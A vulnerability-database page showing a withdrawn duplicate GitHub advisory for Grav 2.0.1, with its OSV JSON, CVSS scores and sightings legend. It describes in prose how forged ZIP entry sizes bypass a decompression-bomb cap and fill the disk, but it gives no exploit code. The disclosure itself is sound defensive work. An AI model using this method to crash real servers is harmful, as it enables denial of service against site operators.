      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-61449"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-61841"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/getgrav/grav"
    },
    {
      "type": "WEB",
      "url": "https://www.vulncheck.com/advisories/grav-before-decompression-bomb-via-forged-zip-size"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Grav: Decompression-bomb size cap bypassed by forged ZIP size in ZipArchiver/Installer"
}

GHSA-V626-428R-43P8

Vulnerability from github – Published: 2026-07-15 12:32 – Updated: 2026-09-17 14:53

Withdrawn 2026-09-17

Summary

Duplicate Advisory: Grav: Decompression-bomb size cap bypassed by forged ZIP size in ZipArchiver/Installer

Details

Duplicate Advisory

This advisory has been withdrawn because it is a duplicate of GHSA-8h9x-89f2-m7x3. This link is maintained to preserve external references.

Original Description

Severity

6.5 (Medium)


                  
                    CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H

7.1 (High)


                  
                    CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N

Show details on source website

JSON

To clipboard

{
  "affected": [
    {
      "package": {
        "ecosystem": "Packagist",
        "name": "getgrav/grav"
      },
      "versions": [
        "2.0.1"
      ]
    }
  ],
  "aliases": [],
  "database_specific": {
    "cwe_ids": [
      "CWE-409"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-09-17T14:53:18Z",
    "nvd_published_at": "2026-07-15T12:18:19Z",
    "severity": "HIGH"
  },
  "details": "### Duplicate Advisory\nThis advisory has been withdrawn because it is a duplicate of GHSA-8h9x-89f2-m7x3. This link is maintained to preserve external references.\n\n### Original Description\nGrav 2.0.1 contains a decompression-bomb size-cap bypass in ZipArchiver and GPM\\Installer. The size bound introduced in 2.0.1 sums the uncompressed size declared in each entry\u0027s ZIP central-directory header (ZipArchive::statIndex()[\u0027size\u0027]) and rejects archives exceeding system.gpm.archive.max_uncompressed_size before extraction. Because this declared size is attacker-forgeable and is not cross-checked against the actual inflated stream, a crafted archive declaring tiny per-entry sizes passes the cap while extractTo() writes the real, much larger content, filling disk or exhausting inodes. The archive must be supplied by a package source or admin upload (admin/operator trust). Fixed in 2.0.2. This is an incomplete fix for GHSA-928x-9mpw-8h56.",
  "id": "GHSA-v626-428r-43p8",
  "modified": "2026-09-17T14:53:18Z",
  "published": "2026-07-15T12:32:04Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/getgrav/grav/security/advisories/GHSA-8h9x-89f2-m7x3"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-61449"
    },
    {
      "type": "WEB",
      "url": "https://www.vulncheck.com/advisories/grav-before-decompression-bomb-via-forged-zip-size"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
      "type": "CVSS_V3"
    },
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
      "type": "CVSS_V4"
    }
  ],
  "summary": "Duplicate Advisory: Grav: Decompression-bomb size cap bypassed by forged ZIP size in ZipArchiver/Installer",
  "withdrawn": "2026-09-17T14:53:18Z"
}

Sightings

Author	Source	Type	Date	Other

Nomenclature

Seen: The vulnerability was mentioned, discussed, or observed by the user.
Confirmed: The vulnerability has been validated from an analyst's perspective.
Published Proof of Concept: A public proof of concept is available for this vulnerability.
Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
Not confirmed: The user expressed doubt about the validity of the vulnerability.
Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.

Vulnerability timeline

Sightings and recorded dates, grouped by day · UTC

Order JSON

Publication & reservation Sightings KEV catalogs Other timestamps

Loading timeline…

The MITRE ATT&CK techniques below are AI-generated suggestions, inferred from the description of the vulnerability by the CIRCL/vulnerability-attack-technique-classification-roberta-base model, served locally by ML-Gateway. They have not been verified by an analyst and are provided for guidance only.
The approach is described in our paper Mapping CVEs to MITRE ATT&CK Techniques: A Curated Gold-Set Classifier and the Limits of LLM-Assisted Label Expansion.
Browse all ATT&CK techniques and the vulnerabilities related to each.

Related by attack behaviour

Vulnerabilities whose description is nearest to this one in the vector space of the CIRCL/vulnerability-attack-technique-biencoder model. This is a similarity search over the bi-encoder space (plain cosine), not a classification, and it has no measured accuracy.

Action not permitted

CVE-2026-61449 (GCVE-0-2026-61449)

FKIE_CVE-2026-61449

GHSA-8H9X-89F2-M7X3

Summary

Details

PoC

Impact

Fix

GHSA-V626-428R-43P8

Duplicate Advisory

Original Description

Tags

Sightings

Nomenclature

Vulnerability timeline

Related by attack behaviour